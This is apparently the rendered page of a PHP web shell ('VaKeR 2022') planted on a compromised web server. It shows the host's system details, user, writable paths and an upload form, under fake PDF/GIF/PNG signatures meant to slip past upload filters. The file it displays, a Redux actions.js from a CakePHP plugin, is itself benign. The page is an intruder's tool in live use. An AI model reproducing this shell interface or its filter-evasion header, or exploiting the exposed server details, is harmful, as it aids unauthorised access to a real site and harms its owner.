%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/vendor/cakedc/mixer/src/React/views/KitchenView/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/vendor/cakedc/mixer/src/React/views/KitchenView/actions.js
import 'whatwg-fetch'

import { fetchData } from '../../components/FetchData/actions'

export const REQUEST_BAKE = 'REQUEST_BAKE'
export const RECEIVE_BAKE = 'RECEIVE_BAKE'
export const RECEIVE_BAKE_ENABLED = 'RECEIVE_BAKE_ENABLED'

function requestBake(tables) {
    return {
        type: REQUEST_BAKE,
        tables
    }
}

function receiveBakeEnabled(enabled) {
    return {
        type: RECEIVE_BAKE_ENABLED,
        enabled
    }
}

export function updateBakeEnabled(enabled) {
    return dispatch => {
        dispatch(receiveBakeEnabled(enabled))
    }
}

function receiveBake(dispatch, json) {
    dispatch(baked())

    return {
        type: RECEIVE_BAKE,
    }
}

function baked() {
    return (dispatch) => {
        return dispatch(fetchData('tables', 'tables.json'))
    }
}

function shouldAction(state) {
    const results = state.kitchenView
    if (!results) {
        return true
    } else {
        return !results.isFetching;
    }
}

export function bake(form) {
    return (dispatch, getState) => {
        if (shouldAction(getState())) {
            return dispatch(dispatch => {
                dispatch(requestBake(form))

                return fetch('bake.json', {
                        method: 'POST',
                        body: new FormData(form)
                    })
                    .then(response => response.json())
                    .then(json => dispatch(receiveBake(dispatch, json)))
            })
        }
    }
}

VaKeR 2022